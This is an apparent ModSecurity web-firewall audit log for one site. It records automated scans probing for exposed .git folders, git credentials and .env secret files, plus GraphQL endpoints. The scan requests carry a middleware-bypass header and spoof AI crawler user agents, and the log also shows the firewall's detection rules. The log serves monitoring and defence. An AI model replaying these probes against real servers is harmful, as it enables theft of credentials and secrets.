Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "aqZcCCsVWymXUono-eRURQAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432456853 811150 (- - -)
Stopwatch2: 1789287432456853 811150; combined=3914, p1=192, p2=3666, p3=0, p4=0, p5=56, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a76f523b-Z--

--f7df0865-A--
[13/Sep/2026:11:17:13.289972 +0300] aqZcCCsVWymXUono-eRUSAAAAAk 172.86.81.63 52626 127.0.0.1 7081
--f7df0865-B--
GET /.git/logs/refs/heads/main HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--f7df0865-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f7df0865-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "aqZcCCsVWymXUono-eRUSAAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432485821 804210 (- - -)
Stopwatch2: 1789287432485821 804210; combined=4129, p1=196, p2=3865, p3=0, p4=0, p5=67, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f7df0865-Z--

--6a95fe5c-A--
[13/Sep/2026:11:17:13.295290 +0300] aqZcCGM7dE9KgIIOpQhxUgAAAMM 172.86.81.63 52548 127.0.0.1 7081
--6a95fe5c-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--6a95fe5c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6a95fe5c-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxUgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxUgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxUgAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432342991 952348 (- - -)
Stopwatch2: 1789287432342991 952348; combined=132601, p1=222, p2=132296, p3=0, p4=0, p5=82, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a95fe5c-Z--

--26186138-A--
[13/Sep/2026:11:17:13.304947 +0300] aqZcCGM7dE9KgIIOpQhxXwAAAMk 172.86.81.63 52690 127.0.0.1 7081
--26186138-B--
GET /.git/credentials-helper HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--26186138-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--26186138-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/credentials-helper"] [unique_id "aqZcCGM7dE9KgIIOpQhxXwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432548678 756333 (- - -)
Stopwatch2: 1789287432548678 756333; combined=6569, p1=193, p2=6322, p3=0, p4=0, p5=54, sr=76, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26186138-Z--

--c8c9e524-A--
[13/Sep/2026:11:17:13.306685 +0300] aqZcCGM7dE9KgIIOpQhxXQAAANA 172.86.81.63 52668 127.0.0.1 7081
--c8c9e524-B--
GET /.git-credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--c8c9e524-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c8c9e524-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxXQAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxXQAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432546137 760593 (- - -)
Stopwatch2: 1789287432546137 760593; combined=36098, p1=224, p2=35834, p3=0, p4=0, p5=40, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c8c9e524-Z--

--ca65dd24-A--
[13/Sep/2026:11:17:13.362050 +0300] aqZcCGM7dE9KgIIOpQhxXgAAAMY 172.86.81.63 52702 127.0.0.1 7081
--ca65dd24-B--
GET /.git/refs/remotes/origin/master HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--ca65dd24-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ca65dd24-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aqZcCGM7dE9KgIIOpQhxXgAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432547308 814803 (- - -)
Stopwatch2: 1789287432547308 814803; combined=4715, p1=196, p2=4460, p3=0, p4=0, p5=58, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ca65dd24-Z--

--33bc634e-A--
[13/Sep/2026:11:17:13.368663 +0300] aqZcCGM7dE9KgIIOpQhxXAAAAMA 172.86.81.63 52680 127.0.0.1 7081
--33bc634e-B--
GET /.git/config~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--33bc634e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--33bc634e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432544771 823940 (- - -)
Stopwatch2: 1789287432544771 823940; combined=37438, p1=225, p2=37142, p3=0, p4=0, p5=70, sr=86, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--33bc634e-Z--

--dae96c26-A--
[13/Sep/2026:11:22:11.335687 +0300] aqZdM0wu1RSkptiiNIX2twAAAII 34.80.249.255 52932 127.0.0.1 7081
--dae96c26-B--
POST /graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--dae96c26-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dae96c26-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287731256356 79427 (- - -)
Stopwatch2: 1789287731256356 79427; combined=10799, p1=382, p2=9901, p3=0, p4=0, p5=515, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dae96c26-Z--

--f3fa6f2a-A--
[13/Sep/2026:11:22:11.649785 +0300] aqZdMysVWymXUono-eRUTgAAAAY 34.80.249.255 52992 127.0.0.1 7081
--f3fa6f2a-B--
POST /api/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--f3fa6f2a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f3fa6f2a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287731573510 76354 (- - -)
Stopwatch2: 1789287731573510 76354; combined=7548, p1=1110, p2=6124, p3=0, p4=0, p5=314, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f3fa6f2a-Z--

--2d9ea711-A--
[13/Sep/2026:11:22:12.014206 +0300] aqZdM2M7dE9KgIIOpQhxhgAAANg 34.80.249.255 53040 127.0.0.1 7081
--2d9ea711-B--
POST /v1/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--2d9ea711-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2d9ea711-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287731900023 114261 (- - -)
Stopwatch2: 1789287731900023 114261; combined=5378, p1=252, p2=4846, p3=0, p4=0, p5=280, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2d9ea711-Z--

--a423e04a-A--
[13/Sep/2026:11:22:12.179054 +0300] aqZdNGM7dE9KgIIOpQhxiQAAANE 34.80.249.255 53072 127.0.0.1 7081
--a423e04a-B--
GET /.env?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a423e04a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a423e04a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxiQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732071722 107389 (- - -)
Stopwatch2: 1789287732071722 107389; combined=4065, p1=234, p2=3766, p3=0, p4=0, p5=64, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a423e04a-Z--

--2bc71b12-A--
[13/Sep/2026:11:22:12.321085 +0300] aqZdNGM7dE9KgIIOpQhxjAAAANM 34.80.249.255 53098 127.0.0.1 7081
--2bc71b12-B--
GET /.env?import&url&inline HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2bc71b12-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2bc71b12-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxjAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732201165 119981 (- - -)
Stopwatch2: 1789287732201165 119981; combined=4087, p1=401, p2=3622, p3=0, p4=0, p5=64, sr=134, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bc71b12-Z--

--ea002e3e-A--
[13/Sep/2026:11:22:12.323243 +0300] aqZdNGM7dE9KgIIOpQhxiwAAAM4 34.80.249.255 53094 127.0.0.1 7081
--ea002e3e-B--
GET /.env?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ea002e3e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ea002e3e-H--
